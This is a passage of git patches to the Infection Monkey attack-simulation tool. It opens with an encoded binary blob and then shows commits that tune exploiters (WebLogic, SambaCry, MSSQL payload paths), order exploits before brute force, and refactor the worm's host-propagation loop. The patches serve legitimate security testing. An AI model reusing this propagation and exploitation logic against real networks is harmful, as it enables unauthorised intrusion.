zG|ONfsF{nn8e@^E6y&H!zGRui+ki;}N8VV8!cy5M{w!*q`)OcU5b0Zv&6h(EmOlqo zrrMA2c?({#$5LEt6Ho_|b0__5fesFC>T0c`jT&J1&{UzO>!JB_h3m+q;9Zm^`~B(A zKilaxv<^A|SCh&&%~9X4a^h%B3ontT>834BBoVY&lwT#iNKF$~49F)9N}9#gUNsP> zzEHGy<6A3t^|q?-^HA9FYNMz!Ziic!*{&YZfGlvKKjzztKNnT-Pe-+WHu4%v!KC#0 zZU&19s^`L5H`JRS-jWZt(5~LoguZTQWmx~+N(|L&z+t>77CgCA3iV4{k{z*G()hpx z9*X8Ei!Z_=WPdlV_2(yBu$98AgPbBDxX}M-o#sGCO+HDK>I(;D$zn`kf7pvEELr6o zS0*k>_cYB!$_x-3MKj=spHG-E5&iaG7j^Rw^CUzw%7t>%7p7HfMc$(S#zI)iR(m>3 z8UC~?Hbkf9fXkVkvIdp?;sr^CD7mSmGNMjD%N*WiTXcw0+DvPso!@Imd40mmoaSiN z&?0w617)DwT86>8)wKvY=;LaSOe4I4Q7!8h<6ND~-Flsr>u*qne)DHYkOmNPQFWglzZ1!_wlZ2-+NXXZcx zHrdW4(>BNE6{gY(+&78787<>c%*$5q{>O#lS}Oi3q$?Rh$yefL46&h(z{rx(<)U)r z=UlW+dlYktCZJ;3cl{;806&GMexe}FR&3ZR_#+1$B!)38gUU*&MPjkJmvG-u&cd|j zgkoR#WS(*L&Yg|;FW71et@-49S6VRB6pgy#c{>7@mm@c}+MI6s3|h`iATkz!(UDaU zj%RO3!A*_TE%|q8%TnNFiAz<}^CS-RrLb>g`bp!~x~YHU8x3vTf=>bZs}wMeYl(+- zed3tQ^q%v6ya13zSLJ{}L_TSK_Rdv5HlJq}ePC_~L9{c;Oao!Un2^YDm8RPw^_s$Su5jV{?SBae*gnsQ4hryOR`mii5ceLf{N zzh|5KQXYpN1$snbGrMH3v6_s2V{XUrVaFD4jS^@Z z?`-Hv;zFZwc{h5gL%ur5TNSuXc3mXG$h|&&U?Sq}X*;p&|^Nw#vkp z|7h%J#xSgxn6lEtVqCB2ql|a)8qn@Y!e=I74gjkzepmbU$wH)>(j2v6sz&EBlD!_LDGvueTj}WYW;M8mjR9f`o zU_5#khXY{Fb)GKKomlmWwRd7yy^B+Pg=vHFf=4hN$2F|8vGHv_~El|S`qOV zu6Z<-{hz@lec@y$oIiPZzCkud)cv&D7UMBOVW}tzaaC9+rOXTA-aLHvKYX_Ry(fYd zwiB1Lbq~xoe1@!5E^ionrByNvun0M+k?;Jpi%v}^4eM4RtUooS5(k1c(PDWh2o^rA zoxl_>E&J5sJ)!BV*}8M~FTN!6FQg=-y_u}oKwIKJmr~9_=pMpr2E$7d4#%I5$=4ct z0EvqX<)S23pt76tLgI2fxtmtYYU4$|+a3}0@+Yr3E|-f#NDR0G#2AB1N(m~#>7=D0 z2-HyQ`YlAr;rG5cOAvVpjWQ+t_}?k5imVL(t`#}+^y@%}l7;umU!6Ah)~;A%tCdH5 zq$}G9&nGH|81_wUa;=Io|4g1odi|`AEuSL#=)c2H7>lMI)rOv}g27_E-I_R){sxna z8+%cf3n1MeEQ{S=>#jYX z?A@k@lFk9_RrgQyBb^nO;DdQI+>SExS7LRcFxz_GgP;9dSIMOz<~?x6{<`vz%`u@c zH9X|OL-Ddlk+%^o@K#2s^Cf%IW^#G{gNL~p+vi-zNDNnxKa#I$fAYhFTNtP5@{ip6 z&~Pe7V#tA0v5SaMOWi+B3V8XY%hfeK3hjG4YjwSb;?oVF`>x=mV;#joLSp(P+TtRf zg9vxDx2B6_XGx0iv6ftB_f`G+lx9c;JG}sXGFxDdr< zxWX2=q`s~#mp4!x&(>PDzNY>O(lB+BuQjYV$jzgvSkLdtp!sS0K);t79hDR?{mhWr zZs%&)L-~Z0w47qQ4Hkav#|(axE{5UVF$gY(7~sEiJQ8#(widmwOm!@{dn^|G_e%cHfA+WpM50tziExcbJ! zEfSckn#6(e#QvMa9eS@s142gSm?Yh>_53jLhznsu__ls;i8j>KFpRJbR%&lnb@qA* z1X?vsRJwosP!K;PyX;)MRzHl8xa!Tn->qqV*l~INvAH_F4b59gc8&=FMioc__b^MX zD3Nn$7Ug_5RoyWKylz?A^8ykB%$EOZc5H~+X492}uJt;n@8Y+<)ihsB^aXl-RG|It zvOHy8QW`(+VXdFAaW0j55Bn=lHj8*%B3+(h1~{9Oe|_M2a+!@Qq^@U zj$E3L=CZQw-Mr@9!`@FWeLdk!JmI&6C$bSl2}A76I{G5IUb`d@MVa2gW(rbY{bp4s z#v={#KF?4wZ3l<06;U*O#YnT1IZq_G7Kyu&gp;@M|7izZZ%#PxnPg`#9W^hp8Rb=O zJN+;(sf_>OOWjmIhM7{Z4pH2}9|i;HO3#hkqY+aRc>nc4^PVN<}-$-n2$ZzEtvN1qb%D)*;WYw&Pp2 zI#z1aJK3kHu3DQR9AU^qFj0D%2v=R7Y?WZZHD17>Zzw{ySl&V?SWA*vpq%qn&1fi^ zA?YO>EF?m8%B+olWI0hmEk+rW+_KT%sC3Mj+E-VF-+-xEMEj4(Mc=A&m&#=y4gCO9 z^Ulx4aGCNSuInNMt-l`6dSzH*WT2bKD6RHsY3t_Uu&wPc;xi1$(@d(MtJKf+<|G14 ztUAm^I0_hXEAy7J-0^?fmtj>f*dUBzXQ<_GVRiL=nr7coxE%_U)0|4UF@D3>_3y!R zHz{j8HYRklCz{l0-VxZZk5X5Sj3KpV3QUKn2LCo8^GX8KB*|y@H_d0v&CoL;51dEHBn#Q@vNQATd)1yEqo60 zY!}y+Znmr4&&fmr)TdcN<)h)%j;f^&e#ZFR!rbI1EPTS(%VcItoVWktoKiyXrAd=E zln&o+HvdIj=KYf`?^;<{deCuelpBp51V@UwgphNlGCVo)mXccESv0QOuRI4yc3_nV z1Y2kyQr>M)`H(QxpKEp47ceeF05l1kOck{^+4R?z7wPNNjTTg4RPC3%-7OXH;1zD zjX1_o;U9`&OP5q`_{i83L&xd9b@1fV;b?by{^kl0P1p!hG=}t??pN>6%-?D}Opo684)EdEBN#VX(O!`4BGxymGg#I%?ijkw ze*l!CTH2W|jxB|E3szTn0Y_H7VlFTCUZ?uN^BLChg$4&^?F@`&wqVr#tUa4kYy6-}*%gi58humnjAiM7hMps;h8h4y#`01mcdM?|Kmo%t1uq%Y z;6*6M1)*^g9LR%xhN%~rPTJZx5L1=V1yNvV!KG;@YZ8__%U|*Cd)Hjd3(iD&&x&*7 z@m?_!0ZQc;=2$I16R1i`_rLqa`ogwS$fa#vz$3{E@4z8-Zy?;4hcBI%6w)-swpYJD z$OOJxd}rG8r!c;CHJ0SV886cjqk9_ z)(PakU>db!?;k{=W1KZR7n};SUFE&&O&eAQ_7`q+9VA4ilqU7Fr1s_Q$CqIQ6W%8I zl6GuF8j1^9kw{PvIWe z*in{6{?B4LgzOM<*R{>+WhiI1QXP7a-k5#e5})42?9ZkG2)(rkldT4I`{gc;hJV{G z=7aP2K9(6Z^XJAvWrq={~- z#0#zCVfM??p0+M#^Cr51zJ{n&D6X`kp=FzKXFyyM+@?QPv7+jQ1@(C~hW7&5=zu6W zAcY_d$)z=WA(%in$mav3;-{Seuxt6P&ymY|H{5r>1Bivi(_0>5p=kk|VT$+wna+8VL4@Wm$eFvKy+%p?qt@=np z?+-A9f@pOm&;L!6+MPI}6yvtA#n96G(HeTONTwrQs1;+)E5A0zEmKeZ$1QuCtIw=$b@pF7+cYm@Cbejbn20;3JldX^9j z=QK$l`Ql_rjhuI}@^(@KwpY!&W!yc12eVs`hvRe$OKV5y82Q5YcNYtdHf-)hV-;7@ z;h#xMH%CLcX5EcrjSE@HP=0;3=CS4LQQ+x%*YI@^5$S8ZUSx0H)s|E30E7;vdD){} z`^)u;EsdrM7s1>^Cr1gQ9aXY`nw8;~dOF|E>Sk`SSn1c?qV_7?+r8vy^*eyTI_F;AVpE{8HUL zB++Oeiws9yg??sgSu%9w#)iD*kWOsY?%+^t`a@}1>8!#;-ijy`v2l`tMQVSH&IO{< zXwy5y<=IsVOgV?g*~^HD**so7M)b-}V7wMFZ6g20Gg-;zW4nLpvf{=yb}3QHGrF)_ z{%@h4_Fr4ujaa1#r9t<|qVQseFEQIMYQxZ)Wk;t)-^sMt&ubq;j=IAyR~)E+iL@+{ zbRM)kbUF*q`zn_sw{}w3`TJwK@Kbg-!`aEMHqV}J37$i1Pfv9&YaZ$w-rde#%}hx+Ya)%Y~*eY0d%;unWX-@oxFUEs#==OFDlMT~N zlFMd=*b0{yFAvtWkpm8R-F62vb?4@m{L1bD1r~$i#m3$z{r?sg+NT+PY`Vu^HcM6% z-2BH;?{Mo(0d-z?wzXKmrJ?LS*E6HzkB2l^!2ZW561LWfFUQh0uCDfmOV|*RmbACy zPYz1Uu|hsC`v^ywK$*d-BA0y^D-|=}4NC$GCVQLJo=1yiUhpL%j$ zkX;6s6yvA8Q{feiBL$E~oHptj8$B919J$Y9$EWe;{|uJHd0B_9f+T&=wMmgPLSYfd zuGYlBQRh$?S%mp}KYAT@+Q&>@8&)<}RvR%v+5@2=!6(J91aNZ_pb$B5TP+OPm~wZn zXg@f*IS_cp9JuLIc1cswbcxiGEDnRI)ssT%fpNqDR=cBb*!^`~S5qo`XJ>=OTG~}W zkbQaFlipY9uzuwp_q+HoSa#E;Sr|fBv0n8(JtZ>)*_xtrnxcV+WSBp_#eS-6dC08P zue7abGY0?s;cS(+0^P&IT*{ACtWINKhG;*`**hzEhx?j>g$Amr_`xI#Li>E+8n_?N< zjW~JKXO#t2KDB5tgP(%RLmzEh*F9{Itbk)b^@b1vBG6ToXp1)pgab>4QA>g=pQ5^& zv?O)OI!pTD{$m`4TgC2(m++}oNAiR0RFQc^I&boa6VAY}H0qcC%a>$%8xatF(@FS2 z`^jr$k&E)Xhghfvy->x@hIEs9q1_%LxFOcCM*BZXNjO@=q3C(|eX^QeJoOlg;dwvHgKv9xYm#vjH4gNn?(W=A% From 371a4d067869c36cfb5d0d557b1b68233add1d3d Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 17 Feb 2019 13:22:41 +0200 Subject: [PATCH 149/201] Remove copy-pasted text --- .../monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 8ddb860d2..2cca7698c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -271,9 +271,6 @@ class RunMonkeyPageComponent extends AuthComponent { renderAuthAwsDiv() { return (

    -

    - Select Island IP address -

    { this.state.ips.length > 1 ?
    +
    +

    + + In order to remotely run commands on AWS EC2 instances, please make sure you have + the prerequisites and if the + instances don't show up, check the + AWS troubleshooting guide. +

    +
    { this.state.awsUpdateFailed ?

    Authentication failed.

    -

    - - In order to remotely run commands on AWS EC2 instances, please make sure you have - the prerequisites and if the - instances don't show up, check the - AWS troubleshooting guide. -

    : null From 759cbcd6aeac3a2a656d11d49a2649a5c7be2466 Mon Sep 17 00:00:00 2001 From: itay Date: Mon, 18 Feb 2019 12:23:13 +0200 Subject: [PATCH 153/201] Hotfix telemetry feed accessing non-existent monkey_guid --- monkey/monkey_island/cc/resources/telemetry_feed.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index ee9fe7e8f..deeb0f4da 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -31,11 +31,13 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_displayed_telemetry(telem): + monkey = NodeService.get_monkey_by_guid(telem['monkey_guid']) + default_hostname = "GUID-" + telem['monkey_guid'] return \ { 'id': telem['_id'], 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), - 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'), + 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname, 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) } From 122ce5f406068e062307ec069e7bbf68852fcffa Mon Sep 17 00:00:00 2001 From: itay Date: Mon, 18 Feb 2019 14:45:03 +0200 Subject: [PATCH 154/201] Fixed bug where config reset followed by update failed --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a4d143c5e..5915b3eaa 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -93,7 +93,7 @@ class ConfigurePageComponent extends AuthComponent { }; resetConfig = () => { - this.authFetch('/api/configuration', + this.authFetch('/api/configuration/island', { method: 'POST', headers: {'Content-Type': 'application/json'}, From bdb8b56fccfe8b4e6cd2f5acb1375dc894172a4a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Feb 2019 10:57:47 +0200 Subject: [PATCH 155/201] Weblogic timeout increased --- monkey/infection_monkey/exploit/weblogic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 7cd1045f9..6d0748426 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -23,7 +23,7 @@ SERVER_TIMEOUT = 4 # How long should be wait after each request in seconds REQUEST_DELAY = 0.0001 # How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 2 +REQUEST_TIMEOUT = 5 # How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 URLS = ["/wls-wsat/CoordinatorPortType", From df8de92ea943f11a001e9d7f3dd33f2ffa1a9ad6 Mon Sep 17 00:00:00 2001 From: itay Date: Thu, 21 Feb 2019 12:10:59 +0200 Subject: [PATCH 156/201] Sambacry now catches NetBIOSError on attempting credentials --- monkey/infection_monkey/exploit/sambacry.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 9e08d2dff..2468a42bc 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -7,6 +7,7 @@ from io import BytesIO from os import path import impacket.smbconnection +from impacket.nmb import NetBIOSError from impacket.nt_errors import STATUS_SUCCESS from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE @@ -172,7 +173,7 @@ class SambaCryExploiter(HostExploiter): if self.is_share_writable(smb_client, share): writable_shares_creds_dict[share] = credentials - except (impacket.smbconnection.SessionError, SessionError): + except (impacket.smbconnection.SessionError, SessionError, NetBIOSError): # If failed using some credentials, try others. pass From b5523a9c54dc63f9b0e7af8f457cfbcffe0d9eeb Mon Sep 17 00:00:00 2001 From: itay Date: Thu, 21 Feb 2019 16:50:02 +0200 Subject: [PATCH 157/201] fix expanding of env variables --- monkey/infection_monkey/exploit/mssqlexec.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 128755de0..b34178dd6 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -17,13 +17,14 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' + DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat') + DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.attacks_list = [mssqlexec_utils.CmdShellAttack] - def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): + def create_payload_file(self, payload_path): """ This function creates dynamically the payload file to be transported and ran on the exploited machine. :param payload_path: A path to the create the payload file in @@ -45,10 +46,13 @@ class MSSQLExploiter(HostExploiter): """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - if not self.create_payload_file(): + payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ + else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN + + if not self.create_payload_file(payload_path): return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, - self.DEFAULT_PAYLOAD_PATH): + payload_path): LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) return True else: From 04358d556a413d3bc2ff70e3e1579788626f62ab Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 25 Jan 2019 14:34:05 +0200 Subject: [PATCH 158/201] Exploit ordering implemented using enum --- monkey/common/utils/exploit_enum.py | 7 ++ monkey/infection_monkey/exploit/__init__.py | 4 + monkey/infection_monkey/exploit/mssqlexec.py | 2 + monkey/infection_monkey/exploit/rdpgrinder.py | 2 + monkey/infection_monkey/exploit/smbexec.py | 2 + monkey/infection_monkey/exploit/sshexec.py | 2 + monkey/infection_monkey/exploit/wmiexec.py | 2 + monkey/infection_monkey/monkey.py | 90 +++++++++++-------- 8 files changed, 76 insertions(+), 35 deletions(-) create mode 100644 monkey/common/utils/exploit_enum.py diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py new file mode 100644 index 000000000..3aff53121 --- /dev/null +++ b/monkey/common/utils/exploit_enum.py @@ -0,0 +1,7 @@ +from enum import Enum + + +class ExploitType(Enum): + VULNERABILITY = 1 + OTHER = 8 + BRUTE_FORCE = 9 diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 9ea2bcc75..0d4300b5f 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,5 +1,6 @@ from abc import ABCMeta, abstractmethod import infection_monkey.config +from common.utils.exploit_enum import ExploitType __author__ = 'itamar' @@ -9,6 +10,9 @@ class HostExploiter(object): _TARGET_OS_TYPE = [] + # Usual values are 'vulnerability' or 'brute_force' + EXPLOIT_TYPE = ExploitType.VULNERABILITY + def __init__(self, host): self._config = infection_monkey.config.WormConfiguration self._exploit_info = {} diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 128755de0..43ef43b7e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -6,6 +6,7 @@ import logging import pymssql from infection_monkey.exploit import HostExploiter, mssqlexec_utils +from common.utils.exploit_enum import ExploitType __author__ = 'Maor Rayzin' @@ -15,6 +16,7 @@ LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index a67a812f6..dcef9551c 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -16,6 +16,7 @@ from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.utils import utf_to_ascii +from common.utils.exploit_enum import ExploitType __author__ = 'hoffer' @@ -235,6 +236,7 @@ class CMDClientFactory(rdp.ClientFactory): class RdpExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE def __init__(self, host): super(RdpExploiter, self).__init__(host) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7528e08ba..579fd8f1f 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -9,12 +9,14 @@ from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDL from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType LOG = getLogger(__name__) class SmbExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 82dd1f4d7..8a58f18c6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,6 +10,7 @@ from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline +from common.utils.exploit_enum import ExploitType __author__ = 'hoffer' @@ -20,6 +21,7 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', None] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE def __init__(self, host): super(SSHExploiter, self).__init__(host) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 1a8cb3386..66cc30fa9 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -9,12 +9,14 @@ from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from common.utils.exploit_enum import ExploitType LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] + EXPLOIT_TYPE = ExploitType.BRUTE_FORCE def __init__(self, host): super(WmiExploiter, self).__init__(host) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f2f9f4f42..92913749e 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -167,44 +167,17 @@ class InfectionMonkey(object): LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) - successful_exploiter = None + # Order exploits according to their type + self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) + host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os is not supported", - exploiter.__class__.__name__, machine) - continue - - LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) - - result = False - try: - result = exploiter.exploit_host() - if result: - successful_exploiter = exploiter - break - else: - LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - - except Exception as exc: - LOG.exception("Exception while attacking %s using %s: %s", - machine, exploiter.__class__.__name__, exc) - finally: - exploiter.send_exploit_telemetry(result) - - if successful_exploiter: - self._exploited_machines.add(machine) - - LOG.info("Successfully propagated to %s using %s", - machine, successful_exploiter.__class__.__name__) - - # check if max-exploitation limit is reached - if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): - self._keep_running = False - - LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + if self.try_exploiting(machine, exploiter): + host_exploited = True break - else: + if not host_exploited: self._fail_exploitation_machines.add(machine) + if not self._keep_running: + break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations @@ -279,3 +252,50 @@ class InfectionMonkey(object): log = '' ControlClient.send_log(log) + + def try_exploiting(self, machine, exploiter): + """ + Workflow of exploiting one machine with one exploiter + :param machine: Machine monkey tries to exploit + :param exploiter: Exploiter to use on that machine + :return: True if successfully exploited, False otherwise + """ + if not exploiter.is_os_supported(): + LOG.info("Skipping exploiter %s host:%r, os is not supported", + exploiter.__class__.__name__, machine) + return False + + LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) + + result = False + try: + result = exploiter.exploit_host() + if result: + self.successfully_exploited(machine, exploiter) + return True + else: + LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) + + except Exception as exc: + LOG.exception("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + finally: + exploiter.send_exploit_telemetry(result) + return False + + def successfully_exploited(self, machine, exploiter): + """ + Workflow of registering successfully exploited machine + :param machine: machine that was exploited + :param exploiter: exploiter that succeeded + """ + self._exploited_machines.add(machine) + + LOG.info("Successfully propagated to %s using %s", + machine, exploiter.__class__.__name__) + + # check if max-exploitation limit is reached + if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): + self._keep_running = False + + LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) From ebe79d74d441d8c6d2eb720219c2327939a5691d Mon Sep 17 00:00:00 2001 From: itay Date: Tue, 26 Feb 2019 10:51:38 +0200 Subject: [PATCH 159/201] Disable MSSQL exploiter --- monkey/infection_monkey/example.conf | 3 +-- monkey/monkey_island/cc/services/config_schema.py | 1 - 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 5f7afc7e8..b3b44c585 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -41,8 +41,7 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter", - "MSSQLExploiter" + "HadoopExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index ee26f487b..8d99540bf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -688,7 +688,6 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", - "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From cc327633ec3f3ace0f93c96cdfc73b33c38e9d1c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Feb 2019 19:55:47 +0200 Subject: [PATCH 160/201] Added enum34 to requirements --- monkey/infection_monkey/requirements_linux.txt | 1 + monkey/infection_monkey/requirements_windows.txt | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index f223158fe..bef031d2e 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -17,3 +17,4 @@ ipaddress wmi pymssql pyftpdlib +enum34 diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5ec5ebbb9..5689ca332 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -17,4 +17,5 @@ ipaddress wmi pywin32 pymssql -pyftpdlib \ No newline at end of file +pyftpdlib +enum34 From 3f91f273cbdeffa73cd920c751fc11d77e7208b1 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 27 Feb 2019 17:18:56 +0200 Subject: [PATCH 161/201] Fix typo in README --- monkey/infection_monkey/readme.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 08e17014e..ab126f9c1 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -13,7 +13,7 @@ The monkey is composed of three separate parts. Download and install from: https://www.python.org/downloads/release/python-2715/ 2. Add python directories to PATH environment variable (if you didn't install ActiveState Python) a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different) - setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts + setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts b. Close the console, make sure you execute all commands in a new cmd console from now on. 3. Install further dependencies a. install VCForPython27.msi From 3372ea78201e66c6352bb53f7510006cc4566947 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Thu, 7 Mar 2019 12:09:03 +0100 Subject: [PATCH 162/201] Updated Create_certificate to key of length 2048 deb package creates a key of length 1024 by default and and since the release of openssl 1.1.1 the default openssl.conf file at /etc/ssl/openssl.conf has CipherString = DEFAULT@SECLEVEL=2 , resulting in the key length to be small. In order to adhere to SECLEVEL=2 the key length was increased 